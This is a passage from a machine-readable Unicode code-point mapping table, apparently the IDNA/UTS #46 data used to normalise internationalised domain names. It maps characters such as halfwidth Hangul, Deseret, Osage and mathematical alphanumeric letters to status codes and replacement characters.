ᄇ"],[65459,1,"ᄈ"],[65460,1,"ᄡ"],[65461,1,"ᄉ"],[65462,1,"ᄊ"],[65463,1,"ᄋ"],[65464,1,"ᄌ"],[65465,1,"ᄍ"],[65466,1,"ᄎ"],[65467,1,"ᄏ"],[65468,1,"ᄐ"],[65469,1,"ᄑ"],[65470,1,"ᄒ"],[[65471,65473],3],[65474,1,"ᅡ"],[65475,1,"ᅢ"],[65476,1,"ᅣ"],[65477,1,"ᅤ"],[65478,1,"ᅥ"],[65479,1,"ᅦ"],[[65480,65481],3],[65482,1,"ᅧ"],[65483,1,"ᅨ"],[65484,1,"ᅩ"],[65485,1,"ᅪ"],[65486,1,"ᅫ"],[65487,1,"ᅬ"],[[65488,65489],3],[65490,1,"ᅭ"],[65491,1,"ᅮ"],[65492,1,"ᅯ"],[65493,1,"ᅰ"],[65494,1,"ᅱ"],[65495,1,"ᅲ"],[[65496,65497],3],[65498,1,"ᅳ"],[65499,1,"ᅴ"],[65500,1,"ᅵ"],[[65501,65503],3],[65504,1,"¢"],[65505,1,"£"],[65506,1,"¬"],[65507,5," ̄"],[65508,1,"¦"],[65509,1,"¥"],[65510,1,"₩"],[65511,3],[65512,1,"│"],[65513,1,"←"],[65514,1,"↑"],[65515,1,"→"],[65516,1,"↓"],[65517,1,"■"],[65518,1,"○"],[[65519,65528],3],[[65529,65531],3],[65532,3],[65533,3],[[65534,65535],3],[[65536,65547],2],[65548,3],[[65549,65574],2],[65575,3],[[65576,65594],2],[65595,3],[[65596,65597],2],[65598,3],[[65599,65613],2],[[65614,65615],3],[[65616,65629],2],[[65630,65663],3],[[65664,65786],2],[[65787,65791],3],[[65792,65794],2],[[65795,65798],3],[[65799,65843],2],[[65844,65846],3],[[65847,65855],2],[[65856,65930],2],[[65931,65932],2],[[65933,65934],2],[65935,3],[[65936,65947],2],[65948,2],[[65949,65951],3],[65952,2],[[65953,65999],3],[[66000,66044],2],[66045,2],[[66046,66175],3],[[66176,66204],2],[[66205,66207],3],[[66208,66256],2],[[66257,66271],3],[66272,2],[[66273,66299],2],[[66300,66303],3],[[66304,66334],2],[66335,2],[[66336,66339],2],[[66340,66348],3],[[66349,66351],2],[[66352,66368],2],[66369,2],[[66370,66377],2],[66378,2],[[66379,66383],3],[[66384,66426],2],[[66427,66431],3],[[66432,66461],2],[66462,3],[66463,2],[[66464,66499],2],[[66500,66503],3],[[66504,66511],2],[[66512,66517],2],[[66518,66559],3],[66560,1,"𐐨"],[66561,1,"𐐩"],[66562,1,"𐐪"],[66563,1,"𐐫"],[66564,1,"𐐬"],[66565,1,"𐐭"],[66566,1,"𐐮"],[66567,1,"𐐯"],[66568,1,"𐐰"],[66569,1,"𐐱"],[66570,1,"𐐲"],[66571,1,"𐐳"],[66572,1,"𐐴"],[66573,1,"𐐵"],[66574,1,"𐐶"],[66575,1,"𐐷"],[66576,1,"𐐸"],[66577,1,"𐐹"],[66578,1,"𐐺"],[66579,1,"𐐻"],[66580,1,"𐐼"],[66581,1,"𐐽"],[66582,1,"𐐾"],[66583,1,"𐐿"],[66584,1,"𐑀"],[66585,1,"𐑁"],[66586,1,"𐑂"],[66587,1,"𐑃"],[66588,1,"𐑄"],[66589,1,"𐑅"],[66590,1,"𐑆"],[66591,1,"𐑇"],[66592,1,"𐑈"],[66593,1,"𐑉"],[66594,1,"𐑊"],[66595,1,"𐑋"],[66596,1,"𐑌"],[66597,1,"𐑍"],[66598,1,"𐑎"],[66599,1,"𐑏"],[[66600,66637],2],[[66638,66717],2],[[66718,66719],3],[[66720,66729],2],[[66730,66735],3],[66736,1,"𐓘"],[66737,1,"𐓙"],[66738,1,"𐓚"],[66739,1,"𐓛"],[66740,1,"𐓜"],[66741,1,"𐓝"],[66742,1,"𐓞"],[66743,1,"𐓟"],[66744,1,"𐓠"],[66745,1,"𐓡"],[66746,1,"𐓢"],[66747,1,"𐓣"],[66748,1,"𐓤"],[66749,1,"𐓥"],[66750,1,"𐓦"],[66751,1,"𐓧"],[66752,1,"𐓨"],[66753,1,"𐓩"],[66754,1,"𐓪"],[66755,1,"𐓫"],[66756,1,"𐓬"],[66757,1,"𐓭"],[66758,1,"𐓮"],[66759,1,"𐓯"],[66760,1,"𐓰"],[66761,1,"𐓱"],[66762,1,"𐓲"],[66763,1,"𐓳"],[66764,1,"𐓴"],[66765,1,"𐓵"],[66766,1,"𐓶"],[66767,1,"𐓷"],[66768,1,"𐓸"],[66769,1,"𐓹"],[66770,1,"𐓺"],[66771,1,"𐓻"],[[66772,66775],3],[[66776,66811],2],[[66812,66815],3],[[66816,66855],2],[[66856,66863],3],[[66864,66915],2],[[66916,66926],3],[66927,2],[66928,1,"𐖗"],[66929,1,"𐖘"],[66930,1,"𐖙"],[66931,1,"𐖚"],[66932,1,"𐖛"],[66933,1,"𐖜"],[66934,1,"𐖝"],[66935,1,"𐖞"],[66936,1,"𐖟"],[66937,1,"𐖠"],[66938,1,"𐖡"],[66939,3],[66940,1,"𐖣"],[66941,1,"𐖤"],[66942,1,"𐖥"],[66943,1,"𐖦"],[66944,1,"𐖧"],[66945,1,"𐖨"],[66946,1,"𐖩"],[66947,1,"𐖪"],[66948,1,"𐖫"],[66949,1,"𐖬"],[66950,1,"𐖭"],[66951,1,"𐖮"],[66952,1,"𐖯"],[66953,1,"𐖰"],[66954,1,"𐖱"],[66955,3],[66956,1,"𐖳"],[66957,1,"𐖴"],[66958,1,"𐖵"],[66959,1,"𐖶"],[66960,1,"𐖷"],[66961,1,"𐖸"],[66962,1,"𐖹"],[66963,3],[66964,1,"𐖻"],[66965,1,"𐖼"],[66966,3],[[66967,66977],2],[66978,3],[[66979,66993],2],[66994,3],[[66995,67001],2],[67002,3],[[67003,67004],2],[[67005,67071],3],[[67072,67382],2],[[67383,67391],3],[[67392,67413],2],[[67414,67423],3],[[67424,67431],2],[[67432,67455],3],[67456,2],[67457,1,"ː"],[67458,1,"ˑ"],[67459,1,"æ"],[67460,1,"ʙ"],[67461,1,"ɓ"],[67462,3],[67463,1,"ʣ"],[67464,1,"ꭦ"],[67465,1,"ʥ"],[67466,1,"ʤ"],[67467,1,"ɖ"],[67468,1,"ɗ"],[67469,1,"ᶑ"],[67470,1,"ɘ"],[67471,1,"ɞ"],[67472,1,"ʩ"],[67473,1,"ɤ"],[67474,1,"ɢ"],[67475,1,"ɠ"],[67476,1,"ʛ"],[67477,1,"ħ"],[67478,1,"ʜ"],[67479,1,"ɧ"],[67480,1,"ʄ"],[67481,1,"ʪ"],[67482,1,"ʫ"],[67483,1,"ɬ"],[67484,1,"𝼄"],[67485,1,"ꞎ"],[67486,1,"ɮ"],[67487,1,"𝼅"],[67488,1,"ʎ"],[67489,1,"𝼆"],[67490,1,"ø"],[67491,1,"ɶ"],[67492,1,"ɷ"],[67493,1,"q"],[67494,1,"ɺ"],[67495,1,"𝼈"],[67496,1,"ɽ"],[67497,1,"ɾ"],[67498,1,"ʀ"],[67499,1,"ʨ"],[67500,1,"ʦ"],[67501,1,"ꭧ"],[67502,1,"ʧ"],[67503,1,"ʈ"],[67504,1,"ⱱ"],[67505,3],[67506,1,"ʏ"],[67507,1,"ʡ"],[67508,1,"ʢ"],[67509,1,"ʘ"],[67510,1,"ǀ"],[67511,1,"ǁ"],[67512,1,"ǂ"],[67513,1,"𝼊"],[67514,1,"𝼞"],[[67515,67583],3],[[67584,67589],2],[[67590,67591],3],[67592,2],[67593,3],[[67594,67637],2],[67638,3],[[67639,67640],2],[[67641,67643],3],[67644,2],[[67645,67646],3],[67647,2],[[67648,67669],2],[67670,3],[[67671,67679],2],[[67680,67702],2],[[67703,67711],2],[[67712,67742],2],[[67743,67750],3],[[67751,67759],2],[[67760,67807],3],[[67808,67826],2],[67827,3],[[67828,67829],2],[[67830,67834],3],[[67835,67839],2],[[67840,67861],2],[[67862,67865],2],[[67866,67867],2],[[67868,67870],3],[67871,2],[[67872,67897],2],[[67898,67902],3],[67903,2],[[67904,67967],3],[[67968,68023],2],[[68024,68027],3],[[68028,68029],2],[[68030,68031],2],[[68032,68047],2],[[68048,68049],3],[[68050,68095],2],[[68096,68099],2],[68100,3],[[68101,68102],2],[[68103,68107],3],[[68108,68115],2],[68116,3],[[68117,68119],2],[68120,3],[[68121,68147],2],[[68148,68149],2],[[68150,68151],3],[[68152,68154],2],[[68155,68158],3],[68159,2],[[68160,68167],2],[68168,2],[[68169,68175],3],[[68176,68184],2],[[68185,68191],3],[[68192,68220],2],[[68221,68223],2],[[68224,68252],2],[[68253,68255],2],[[68256,68287],3],[[68288,68295],2],[68296,2],[[68297,68326],2],[[68327,68330],3],[[68331,68342],2],[[68343,68351],3],[[68352,68405],2],[[68406,68408],3],[[68409,68415],2],[[68416,68437],2],[[68438,68439],3],[[68440,68447],2],[[68448,68466],2],[[68467,68471],3],[[68472,68479],2],[[68480,68497],2],[[68498,68504],3],[[68505,68508],2],[[68509,68520],3],[[68521,68527],2],[[68528,68607],3],[[68608,68680],2],[[68681,68735],3],[68736,1,"𐳀"],[68737,1,"𐳁"],[68738,1,"𐳂"],[68739,1,"𐳃"],[68740,1,"𐳄"],[68741,1,"𐳅"],[68742,1,"𐳆"],[68743,1,"𐳇"],[68744,1,"𐳈"],[68745,1,"𐳉"],[68746,1,"𐳊"],[68747,1,"𐳋"],[68748,1,"𐳌"],[68749,1,"𐳍"],[68750,1,"𐳎"],[68751,1,"𐳏"],[68752,1,"𐳐"],[68753,1,"𐳑"],[68754,1,"𐳒"],[68755,1,"𐳓"],[68756,1,"𐳔"],[68757,1,"𐳕"],[68758,1,"𐳖"],[68759,1,"𐳗"],[68760,1,"𐳘"],[68761,1,"𐳙"],[68762,1,"𐳚"],[68763,1,"𐳛"],[68764,1,"𐳜"],[68765,1,"𐳝"],[68766,1,"𐳞"],[68767,1,"𐳟"],[68768,1,"𐳠"],[68769,1,"𐳡"],[68770,1,"𐳢"],[68771,1,"𐳣"],[68772,1,"𐳤"],[68773,1,"𐳥"],[68774,1,"𐳦"],[68775,1,"𐳧"],[68776,1,"𐳨"],[68777,1,"𐳩"],[68778,1,"𐳪"],[68779,1,"𐳫"],[68780,1,"𐳬"],[68781,1,"𐳭"],[68782,1,"𐳮"],[68783,1,"𐳯"],[68784,1,"𐳰"],[68785,1,"𐳱"],[68786,1,"𐳲"],[[68787,68799],3],[[68800,68850],2],[[68851,68857],3],[[68858,68863],2],[[68864,68903],2],[[68904,68911],3],[[68912,68921],2],[[68922,69215],3],[[69216,69246],2],[69247,3],[[69248,69289],2],[69290,3],[[69291,69292],2],[69293,2],[[69294,69295],3],[[69296,69297],2],[[69298,69375],3],[[69376,69404],2],[[69405,69414],2],[69415,2],[[69416,69423],3],[[69424,69456],2],[[69457,69465],2],[[69466,69487],3],[[69488,69509],2],[[69510,69513],2],[[69514,69551],3],[[69552,69572],2],[[69573,69579],2],[[69580,69599],3],[[69600,69622],2],[[69623,69631],3],[[69632,69702],2],[[69703,69709],2],[[69710,69713],3],[[69714,69733],2],[[69734,69743],2],[[69744,69749],2],[[69750,69758],3],[69759,2],[[69760,69818],2],[[69819,69820],2],[69821,3],[[69822,69825],2],[69826,2],[[69827,69836],3],[69837,3],[[69838,69839],3],[[69840,69864],2],[[69865,69871],3],[[69872,69881],2],[[69882,69887],3],[[69888,69940],2],[69941,3],[[69942,69951],2],[[69952,69955],2],[[69956,69958],2],[69959,2],[[69960,69967],3],[[69968,70003],2],[[70004,70005],2],[70006,2],[[70007,70015],3],[[70016,70084],2],[[70085,70088],2],[[70089,70092],2],[70093,2],[[70094,70095],2],[[70096,70105],2],[70106,2],[70107,2],[70108,2],[[70109,70111],2],[70112,3],[[70113,70132],2],[[70133,70143],3],[[70144,70161],2],[70162,3],[[70163,70199],2],[[70200,70205],2],[70206,2],[[70207,70271],3],[[70272,70278],2],[70279,3],[70280,2],[70281,3],[[70282,70285],2],[70286,3],[[70287,70301],2],[70302,3],[[70303,70312],2],[70313,2],[[70314,70319],3],[[70320,70378],2],[[70379,70383],3],[[70384,70393],2],[[70394,70399],3],[70400,2],[[70401,70403],2],[70404,3],[[70405,70412],2],[[70413,70414],3],[[70415,70416],2],[[70417,70418],3],[[70419,70440],2],[70441,3],[[70442,70448],2],[70449,3],[[70450,70451],2],[70452,3],[[70453,70457],2],[70458,3],[70459,2],[[70460,70468],2],[[70469,70470],3],[[70471,70472],2],[[70473,70474],3],[[70475,70477],2],[[70478,70479],3],[70480,2],[[70481,70486],3],[70487,2],[[70488,70492],3],[[70493,70499],2],[[70500,70501],3],[[70502,70508],2],[[70509,70511],3],[[70512,70516],2],[[70517,70655],3],[[70656,70730],2],[[70731,70735],2],[[70736,70745],2],[70746,2],[70747,2],[70748,3],[70749,2],[70750,2],[70751,2],[[70752,70753],2],[[70754,70783],3],[[70784,70853],2],[70854,2],[70855,2],[[70856,70863],3],[[70864,70873],2],[[70874,71039],3],[[71040,71093],2],[[71094,71095],3],[[71096,71104],2],[[71105,71113],2],[[71114,71127],2],[[71128,71133],2],[[71134,71167],3],[[71168,71232],2],[[71233,71235],2],[71236,2],[[71237,71247],3],[[71248,71257],2],[[71258,71263],3],[[71264,71276],2],[[71277,71295],3],[[71296,71351],2],[71352,2],[71353,2],[[71354,71359],3],[[71360,71369],2],[[71370,71423],3],[[71424,71449],2],[71450,2],[[71451,71452],3],[[71453,71467],2],[[71468,71471],3],[[71472,71481],2],[[71482,71487],2],[[71488,71494],2],[[71495,71679],3],[[71680,71738],2],[71739,2],[[71740,71839],3],[71840,1,"𑣀"],[71841,1,"𑣁"],[71842,1,"𑣂"],[71843,1,"𑣃"],[71844,1,"𑣄"],[71845,1,"𑣅"],[71846,1,"𑣆"],[71847,1,"𑣇"],[71848,1,"𑣈"],[71849,1,"𑣉"],[71850,1,"𑣊"],[71851,1,"𑣋"],[71852,1,"𑣌"],[71853,1,"𑣍"],[71854,1,"𑣎"],[71855,1,"𑣏"],[71856,1,"𑣐"],[71857,1,"𑣑"],[71858,1,"𑣒"],[71859,1,"𑣓"],[71860,1,"𑣔"],[71861,1,"𑣕"],[71862,1,"𑣖"],[71863,1,"𑣗"],[71864,1,"𑣘"],[71865,1,"𑣙"],[71866,1,"𑣚"],[71867,1,"𑣛"],[71868,1,"𑣜"],[71869,1,"𑣝"],[71870,1,"𑣞"],[71871,1,"𑣟"],[[71872,71913],2],[[71914,71922],2],[[71923,71934],3],[71935,2],[[71936,71942],2],[[71943,71944],3],[71945,2],[[71946,71947],3],[[71948,71955],2],[71956,3],[[71957,71958],2],[71959,3],[[71960,71989],2],[71990,3],[[71991,71992],2],[[71993,71994],3],[[71995,72003],2],[[72004,72006],2],[[72007,72015],3],[[72016,72025],2],[[72026,72095],3],[[72096,72103],2],[[72104,72105],3],[[72106,72151],2],[[72152,72153],3],[[72154,72161],2],[72162,2],[[72163,72164],2],[[72165,72191],3],[[72192,72254],2],[[72255,72262],2],[72263,2],[[72264,72271],3],[[72272,72323],2],[[72324,72325],2],[[72326,72345],2],[[72346,72348],2],[72349,2],[[72350,72354],2],[[72355,72367],3],[[72368,72383],2],[[72384,72440],2],[[72441,72703],3],[[72704,72712],2],[72713,3],[[72714,72758],2],[72759,3],[[72760,72768],2],[[72769,72773],2],[[72774,72783],3],[[72784,72793],2],[[72794,72812],2],[[72813,72815],3],[[72816,72817],2],[[72818,72847],2],[[72848,72849],3],[[72850,72871],2],[72872,3],[[72873,72886],2],[[72887,72959],3],[[72960,72966],2],[72967,3],[[72968,72969],2],[72970,3],[[72971,73014],2],[[73015,73017],3],[73018,2],[73019,3],[[73020,73021],2],[73022,3],[[73023,73031],2],[[73032,73039],3],[[73040,73049],2],[[73050,73055],3],[[73056,73061],2],[73062,3],[[73063,73064],2],[73065,3],[[73066,73102],2],[73103,3],[[73104,73105],2],[73106,3],[[73107,73112],2],[[73113,73119],3],[[73120,73129],2],[[73130,73439],3],[[73440,73462],2],[[73463,73464],2],[[73465,73647],3],[73648,2],[[73649,73663],3],[[73664,73713],2],[[73714,73726],3],[73727,2],[[73728,74606],2],[[74607,74648],2],[74649,2],[[74650,74751],3],[[74752,74850],2],[[74851,74862],2],[74863,3],[[74864,74867],2],[74868,2],[[74869,74879],3],[[74880,75075],2],[[75076,77711],3],[[77712,77808],2],[[77809,77810],2],[[77811,77823],3],[[77824,78894],2],[78895,3],[[78896,78904],3],[[78905,82943],3],[[82944,83526],2],[[83527,92159],3],[[92160,92728],2],[[92729,92735],3],[[92736,92766],2],[92767,3],[[92768,92777],2],[[92778,92781],3],[[92782,92783],2],[[92784,92862],2],[92863,3],[[92864,92873],2],[[92874,92879],3],[[92880,92909],2],[[92910,92911],3],[[92912,92916],2],[92917,2],[[92918,92927],3],[[92928,92982],2],[[92983,92991],2],[[92992,92995],2],[[92996,92997],2],[[92998,93007],3],[[93008,93017],2],[93018,3],[[93019,93025],2],[93026,3],[[93027,93047],2],[[93048,93052],3],[[93053,93071],2],[[93072,93759],3],[93760,1,"𖹠"],[93761,1,"𖹡"],[93762,1,"𖹢"],[93763,1,"𖹣"],[93764,1,"𖹤"],[93765,1,"𖹥"],[93766,1,"𖹦"],[93767,1,"𖹧"],[93768,1,"𖹨"],[93769,1,"𖹩"],[93770,1,"𖹪"],[93771,1,"𖹫"],[93772,1,"𖹬"],[93773,1,"𖹭"],[93774,1,"𖹮"],[93775,1,"𖹯"],[93776,1,"𖹰"],[93777,1,"𖹱"],[93778,1,"𖹲"],[93779,1,"𖹳"],[93780,1,"𖹴"],[93781,1,"𖹵"],[93782,1,"𖹶"],[93783,1,"𖹷"],[93784,1,"𖹸"],[93785,1,"𖹹"],[93786,1,"𖹺"],[93787,1,"𖹻"],[93788,1,"𖹼"],[93789,1,"𖹽"],[93790,1,"𖹾"],[93791,1,"𖹿"],[[93792,93823],2],[[93824,93850],2],[[93851,93951],3],[[93952,94020],2],[[94021,94026],2],[[94027,94030],3],[94031,2],[[94032,94078],2],[[94079,94087],2],[[94088,94094],3],[[94095,94111],2],[[94112,94175],3],[94176,2],[94177,2],[94178,2],[94179,2],[94180,2],[[94181,94191],3],[[94192,94193],2],[[94194,94207],3],[[94208,100332],2],[[100333,100337],2],[[100338,100343],2],[[100344,100351],3],[[100352,101106],2],[[101107,101589],2],[[101590,101631],3],[[101632,101640],2],[[101641,110575],3],[[110576,110579],2],[110580,3],[[110581,110587],2],[110588,3],[[110589,110590],2],[110591,3],[[110592,110593],2],[[110594,110878],2],[[110879,110882],2],[[110883,110927],3],[[110928,110930],2],[[110931,110947],3],[[110948,110951],2],[[110952,110959],3],[[110960,111355],2],[[111356,113663],3],[[113664,113770],2],[[113771,113775],3],[[113776,113788],2],[[113789,113791],3],[[113792,113800],2],[[113801,113807],3],[[113808,113817],2],[[113818,113819],3],[113820,2],[[113821,113822],2],[113823,2],[[113824,113827],7],[[113828,118527],3],[[118528,118573],2],[[118574,118575],3],[[118576,118598],2],[[118599,118607],3],[[118608,118723],2],[[118724,118783],3],[[118784,119029],2],[[119030,119039],3],[[119040,119078],2],[[119079,119080],3],[119081,2],[[119082,119133],2],[119134,1,"𝅗𝅥"],[119135,1,"𝅘𝅥"],[119136,1,"𝅘𝅥𝅮"],[119137,1,"𝅘𝅥𝅯"],[119138,1,"𝅘𝅥𝅰"],[119139,1,"𝅘𝅥𝅱"],[119140,1,"𝅘𝅥𝅲"],[[119141,119154],2],[[119155,119162],3],[[119163,119226],2],[119227,1,"𝆹𝅥"],[119228,1,"𝆺𝅥"],[119229,1,"𝆹𝅥𝅮"],[119230,1,"𝆺𝅥𝅮"],[119231,1,"𝆹𝅥𝅯"],[119232,1,"𝆺𝅥𝅯"],[[119233,119261],2],[[119262,119272],2],[[119273,119274],2],[[119275,119295],3],[[119296,119365],2],[[119366,119519],3],[[119520,119539],2],[[119540,119551],3],[[119552,119638],2],[[119639,119647],3],[[119648,119665],2],[[119666,119672],2],[[119673,119807],3],[119808,1,"a"],[119809,1,"b"],[119810,1,"c"],[119811,1,"d"],[119812,1,"e"],[119813,1,"f"],[119814,1,"g"],[119815,1,"h"],[119816,1,"i"],[119817,1,"j"],[119818,1,"k"],[119819,1,"l"],[119820,1,"m"],[119821,1,"n"],[119822,1,"o"],[119823,1,"p"],[119824,1,"q"],[119825,1,"r"],[119826,1,"s"],[119827,1,"t"],[119828,1,"u"],[119829,1,"v"],[119830,1,"w"],[119831,1,"x"],[119832,1,"y"],[119833,1,"z"],[119834,1,"a"],[119835,1,"b"],[119836,1,"c"],[119837,1,"d"],[119838,1,"e"],[119839,1,"f"],[119840,1,"g"],[119841,1,"h"],[119842,1,"i"],[119843,1,"j"],[119844,1,"k"],[119845,1,"l"],[119846,1,"m"],[119847,1,"n"],[119848,1,"o"],[119849,1,"p"],[119850,1,"q"],[119851,1,"r"],[119852,1,"s"],[119853,1,"t"],[119854,1,"u"],[119855,1,"v"],[119856,1,"w"],[119857,1,"x"],[119858,1,"y"],[119859,1,"z"],[119860,1,"a"],[119861,1,"b"],[119862,1,"c"],[119863,1,"d"],[119864,1,"e"],[119865,1,"f"],[119866,1,"g"],[119867,1,"h"],[119868,1,"i"],[119869,1,"j"],[119870,1,"k"],[119871,1,"l"],[119872,1,"m"],[119873,1,"n"],[119874,1,"o"],[119875,1,"p"],[119876,1,"q"],[119877,1,"r"],[119878,1,"s"],[119879,1,"t"],[119880,1,"u"],[119881,1,"v"],[119882,1,"w"],[119883,1,"x"],[119884,1,"y"],[119885,1,"z"],[119886,1,"a"],[119887,1,"b"],[119888,1,"c"],[119889,1,"d"],[119890,1,"e"],[119891,1,"f"],[119892,1,"g"],[119893,3],[119894,1,"i"],[119895,1,"j"],[119896,1,"k"],[119897,1,"l"],[119898,1,"m"],[119899,1,"n"],[119900,1,"o"],[119901,1,"p"],[119902,1,"q"],[119903,1,"r"],[119904,1,"s"],[119905,1,"t"],[119906,1,"u"],[119907,1,"v"],[119908,1,"w"],[119909,1,"x"],[119910,1,"y"],[119911,1,"z"],[119912,1,"a"],[119913,1,"b"],[119914,1,"c"],[119915,1,"d"],[119916,1,"e"],[119917,1,"f"],[119918,1,"g"],[119919,1,"h"],[119920,1,"i"],[119921,1,"j"],[119922,1,"k"],[119923,1,"l"],[119924,1,"m"],[119925,1,"n"],[119926,1,"o"],[119927,1,"p"],[119928,1,"q"],[119929,1,"r"],[119930,1,"s"],[119931,1,"t"],[119932,1,"u"],[119933,1,"v"],[119934,1,"w"],[119935,1,"x"],[119936,1,"y"],[119937,1,"z"],[119938,1,"a"],[119939,1,"b"],[119940,1,"c"],[119941,1,"d"],[119942,1,"e"],[119943,1,"f"],[119944,1,"g"],[119945,1,"h"],[119946,1,"i"],[119947,1,"j"],[119948,1,"k"],[119949,1,"l"],[119950,1,"m"],[119951,1,"n"],[119952,1,"o"],[119953,1,"p"],[119954,1,"q"],[119955,1,"r"],[119956,1,"s"],[119957,1,"t"],[119958,1,"u"],[119959,1,"v"],[119960,1,"w"],[119961,1,"x"],[119962,1,"y"],[119963,1,"z"],[119964,1,"a"],[119965,3],[119966,1,"c"],[119967,1,"d"],[[119968,119969],3],[119970,1,"g"],[[119971,119972],3],[119973,1,"j"],[119974,1,"k"],[[119975,119976],3],[119977,1,"n"],[119978,1,"o"],[119979,1,"p"],[119980,1,"q"],[119981,3],[119982,1,"s"],[119983,1,"t"],[119984,1,"u"],[119985,1,"v"],[119986,1,"w"],[119987,1,"x"],[119988,1,"y"],[119989,1,"z"],[119990,1,"a"],[119991,1,"b"],[119992,1,"c"],[119993,1,"d"],[119994,3],[119995,1,"f"],[119996,3],[119997,1,"h"],[119998,1,"i"],[119999,1,"j"],[120000,1,"k"],[120001,1,"l"],[120002,1,"m"],[120003,1,"n"],[120004,3],[120005,1,"p"],[120006,1,"q"],[120007,1,"r"],[120008,1,"s"],[120009,1,"t"],[120010,1,"u"],[120011,1,"v"],[120012,1,"w"],[120013,1,"x"],[120014,1,"y"],[120015,1,"z"],[120016,1,"a"],[120017,1,"b"],[120018,1,"c"],[120019,1,"d"],[120020,1,"e"],[120021,1,"f"],[120022,1,"g"],[120023,1,"h"],[120024,1,"i"],[120025,1,"j"],[120026,1,"k"],[120027,1,"l"],[120028,1,"m"],[120029,1,"n"],[120030,1,"o"],[120031,1,"p"],[120032,1,"q"],[120033,1,"r"],[120034,1,"s"],[120035,1,"t"],[120036,1,"u"],[120037,1,"v"],[120038,1,"w"],[120039,1,"x"],[120040,1,"y"],[120041,1,"z"],[120042,1,"a"],[120043,1,"b"],[120044,1,"c"],[120045,1,"d"],[120046,1,"e"],[120047,1,"f"],[120048,1,"g"],[120049,1,"h"],[120050,1,"i"],[120051,1,"j"],[120052,1,"k"],[120053,1,"l"],[120054,1,"m"],[120055,1,"n"],[120056,1,"o"],[120057,1,"p"],[120058,1,"q"],[120059,1,"r"],[120060,1,"s"],[120061,1,"t"],[120062,1,"u"],[120063,1,"v"],[120064,1,"w"],[120065,1,"x"],[120066,1,"y"],[120067,1,"z"],[120068,1,"a"],[120069,1,"b"],[120070,3],[120071,1,"d"],[120072,1,"e"],[120073,1,"f"],[120074,1,"g"],[[120075,120076],3],[120077,1,"j"],[120078,1,"k"],[120079,1,"l"],[120080,1,"m"],[120081,1,"n"],[120082,1,"o"],[120083,1,"p"],[120084,1,"q"],[120085,3],[120086,1,"s"],[120087,1,"t"],[120088,1,"u"],[120089,1,"v"],[120090,1,"w"],[120091,1,"x"],[120092,1,"y"],[120093,3],[120094,1,"a"],[120095,1,"b"],[120096,1,"c"],[120097,1,"d"],[120098,1,"e"],[120099,1,"f"],[120100,1,"g"],[120101,1,"h"],[120102,1,"i"],[120103,1,"j"],[120104,1,"k"],[120105,1,"l"],[120106,1,"m"],[120107,1,"n"],[120108,1,"o"],[120109,1,"p"],[120110,1,"q"],[120111,1,"r"],[120112,1,"s"],[120113,1,"t"],[120114,1,"u"],[120115,1,"v"],[120116,1,"w"],[120117,1,"x"],[120118,1,"y"],[120119,1,"z"],[120120,1,"a"],[120121,1,"b"],[120122,3],[120123,1,"d"],[120124,1,"e"],[120125,1,"f"],[120126,1,"g"],[120127,3],[120128,1,"i"],[120129,1,"j"],[120130,1,"k"],[120131,1,"l"],[120132,1,"m"],[120133,3],[120134,1,"o"],[[120135,120137],3],[120138,1,"s"],[120139,1,"t"],[120140,1,"u"],[120141,1,"v"],[120142,1,"w"],[120143,1,"x"],[120144,1,"y"],[120145,3],[120146,1,"a"],[120147,1,"b"],[120148,1,"c"],[120149,1,"d"],[120150,1,"e"],[120151,1,"f"],[120152,1,"g"],[120153,1,"h"],[120154,1,"i"],[120155,1,"j"],[120156,1,"k"],[120157,1,"l"],[120158,1,"m"],[120159,1,"n"],[120160,1,"o"],[120161,1,"p"],[120162,1,"q"],[120163,1,"r"],[120164,1,"s"],[120165,1,"t"],[120166,1,"u"],[120167,1,"v"],[120168,1,"w"],[120169,1,"x"],[120170,1,"y"],[120171,1,"z"],[120172,1,"a"],[120173,1,"b"],[120174,1,"c"],[120175,1,"d"],[120176,1,"e"],[120177,1,"f"],[120178,1,"g"],[120179,1,"h"],[120180,1,"i"],[120181,1,"j"],[120182,1,"k"],[120183,1,"l"],[120184,1,"m"],[120185,1,"n"],[120186,1,"o"],[120187,1,"p"],[120188,1,"q"],[120189,1,"r"],[120190,1,"s"],[120191,1,"t"],[120192,1,"u"],[120193,1,"v"],[120194,1,"w"],[120195,1,"x"],[120196,1,"y"],[120197,1,"z"],[120198,1,"a"],[120199,1,"b"],[120200,1,"c"],[120201,1,"d"],[120202,1,"e"],[120203,1,"f"],[120204,1,"g"],[120205,1,"h"],[120206,1,"i"],[120207,1,"j"],[120208,1,"k"],[120209,1,"l"],[120210,1,"m"],[120211,1,"n"],[120212,1,"o"],[120213,1,"p"],[120214,1,"q"],[120215,1,"r"],[120216,1,"s"],[120217,1,"t"],[120218,1,"u"],[120219,1,"v"],[120220,1,"w"],[120221,1,"x"],[120222,1,"y"],[120223,1,"z"],[120224,1,"a"],[120225,1,"b"],[120226,1,"c"],[120227,1,"d"],[120228,1,"e"],[120229,1,"f"],[120230,1,"g"],[120231,1,"h"],[120232,1,"i"],[120233,1,"j"],[120234,1,"k"],[120235,1,"l"],[120236,1,"m"],[120237,1,"n"],[120238,1,"o"],[120239,1,"p"],[120240,1,"q"],[120241,1,"r"],[120242,1,"s"],[120243,1,"t"],[120244,1,"u"],[120245,1,"v"],[120246,1,"w"],[120247,1,"x"],[120248,1,"y"],[120249,1,"z"],[120250,1,"a"],[120251,1,"b"],[120252,1,"c"],[120253,1,"d"],[120254,1,"e"],[120255,1,"f"],[120256,1,"g"],[120257,1,"h"],[120258,1,"i"],[120259,1,"j"],[120260,1,"k"],[120261,1,"l"],[120262,1,"m"],[120263,1,"n"],[120264,1,"o"],[120265,1,"p"],[120266,1,"q"],[120267,1,"r"],[120268,1,"s"],[120269,1,"t"],[120270,1,"u"],[120271,1,"v"],[120272,1,"w"],[120273,1,"x"],[120274,1,"y"],[120275,1,"z"],[120276,1,"a"],[120277,1,"b"],[120278,1,"c"],[120279,1,"d"],[120280,1,"e"],[120281,1,"f"],[120282,1,"g"],[120283,1,"h"],[120284,1,"i"],[120285,1,"j"],[120286,1,"k"],[120287,1,"l"],[120288,1,"m"],[120289,1,"n"],[120290,1,"o"],[120291,1,"p"],[120292,1,"q"],[120293,1,"r"],[120294,1,"s"],[120295,1,"t"],[120296,1,"u"],[120297,1,"v"],[120298,1,"w"],[120299,1,"x"],[120300,1,"y"],[120301,1,"z"],[120302,1,"a"],[120303,1,"b"],[120304,1,"c"],[120305,1,"d"],[120306,1,"e"],[120307,1,"f"],[120308,1,"g"],[120309,1,"h"],[120310,1,"i"],[120311,1,"j"],[120312,1,"k"],[120313,1,"l"],[120314,1,"m"],[120315,1,"n"],[120316,1,"o"],[120317,1